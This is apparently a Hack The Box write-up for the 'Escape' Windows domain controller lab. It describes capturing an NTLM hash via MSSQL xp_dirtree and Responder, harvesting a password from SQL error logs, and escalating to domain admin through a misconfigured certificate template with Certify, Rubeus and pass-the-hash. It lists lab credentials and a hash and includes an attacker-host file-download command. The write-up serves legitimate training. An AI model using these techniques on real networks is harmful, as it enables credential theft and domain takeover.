Escape

Medium windows box that includes stealing NTLM hash through mssql, passwords in logs files and privilege escalation via certificate template!

Credentials

Username
Password
Description

PublicUser

GuestUserCantWrite1

MS SQL password

sql_svc

REGGIE1234ronnie

AD Account responsible for running database server

ryan.cooper

NuclearMosquito3

Active directory user found in SQLServer logs

Administartor

A52F78E4C751E5F5E17E1E9F3E58F4EE

NTLM hash

Enumeration

Nmap Scan


┌──(kali㉿kali)-[~/Documents/CTFs/HTB_Escape]
└─$ sudo nmap -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49689,49690,49710,49714,59666 -A -T4 10.10.11.202 -oA nmap_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 13:23 EDT
Nmap scan report for 10.10.11.202
Host is up (0.038s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-05 01:23:05Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
| ms-sql-ntlm-info:
|   10.10.11.202:1433:
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-06-02T13:28:16
|_Not valid after:  2053-06-02T13:28:16
| ms-sql-info:
|   10.10.11.202:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
59666/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-06-05T01:23:57
|_  start_date: N/A
|_clock-skew: mean: 7h59m23s, deviation: 0s, median: 7h59m22s

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   39.26 ms 10.10.14.1
2   39.43 ms 10.10.11.202

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.96 seconds

SMB Shares

There is one non-default share Public after trying to connect to it there is PDF file.

SQL Server Procedures.pdf

This pdf contain some information about connecting to SQL database without Active Directory account.

Credentials for MS SQL

MS SQL

For connection to database I used impacket-mssql script

Databases

master, tempdb, msdb are default databases used by mssql and to model table there is no permission for current user.

Permissions

Current user can't execute xp_cmdshell - this allows running shell commands on database server directly through database.

But there is permission for xp_dirtree command and this can be used to steal NTLM hash of user that is running database server.

This should be also possible with xp_fileexist but I had no luck with that function.

LogoPage not found - HackTricksbook.hacktricks.xyz
Source of MS SQL enumeration

Stealing NTLM hash

Setting up Responder

Responder is software that talk with most of the protocols it is focused on stealing hashes and credentials.

Getting hash

sql_svc hash

I used hashcat to crack this password

So password for sql_svc account is REGGIE1234ronnie

Foothold

Acquired credentials have permissions to conect via remote access.

Connection via evil-winrm

Enumeration

I have run winpeas but there is nothing special in there. So next step was manual enumeration.

SQLServer directory

As there was nothing in home direcotry of sql_svc user and SQLServer is only one non-default directory (because of running MS SQL server) I started looking around. Only semi-interesting file is ERRORLOG.BAK Located at C:\SQLServer\Logs

ERRORLOG.BAK

In there is password for user ryan.cooper

Log states Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

Next entry is Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

NuclearMosquito3 looks like a password so this is propably a typo from user side and he type password in username field.

Logged as ryan.cooper

This was indeed password for ryan.cooper user and this allowed for login in his account

Privilege Escalation

I have ran winpeas again but no luck there. Additionaly I gathered information about domain with Sharphound to analyze permissions and connections in Bloodhound but again no luck.

Me trying to figure out how to PE

But there is this trend in windows enviroment that switch for certificate authorization. There are many things that can go wrong e.g. certificate template with too wide permissions.

To certificate be vulnerable some specyfic flags need to be set:

  • msPKI-Certificate-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT this means that user requesting certificate can specify subject - effectively a user that will be authenticated

  • Access Rights needs to Allows Enroll to NT AUTHORITY\Authenticated Users this means any logged in user can request certificate

  • pkiextendedkeyusage needs to have set Client Authentication to allows impersonating another user

LogoFrom Misconfigured Certificate Template to Domain Admin | Red Team Noteswww.ired.team
LogoAD CS Domain Escalation - HackTricksbook.hacktricks.xyz

Vulnerable Certificate Template

For detecting any vulnerable certificate template there is handy tool Certify 

Unexpected error with integration github-files: Integration is not installed on this space

Generating new certificate for Administrator account

Certify can be used to requesting new certificate for this this flags need to be supplied:

  • /ca CA Name from previous Ceritfy output

  • /template template name to use here UserAuthentication

  • /altname name of user to impersonate

After converting certificate in PEM to right format with openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx as suggested in Certify output it need to be transfered back to windows box.

I did it by setting up python web server python -m http.server and downloading it on windows box IWR http://10.10.14.109:8000/cert.pfx -Outfile cert.pfx

With certificate on the disk next we need Rubeus to interact with Kerberos and request ticket for Administrator account using generated certificate.

  • asktgt mode responsible for requesting TGT tickests

  • /user: user to impersonate

  • /certificate: previously generated certificate fiel

  • /getcredentials print NTLM hash that can be used for PassTheHash attack

LogoSharpCollection/NetFramework_4.7_Any/Rubeus.exe at master · Flangvik/SharpCollectionGitHub

Getting Administrator access

Hash obtained from Rubeus can be used for PassTheHash attack if there is NTLM authentication enabled.

For this evil-winrm can be used with -H flag that takes NTLM hash

Rooted box
PreviousWindowsNextLinux

Last updated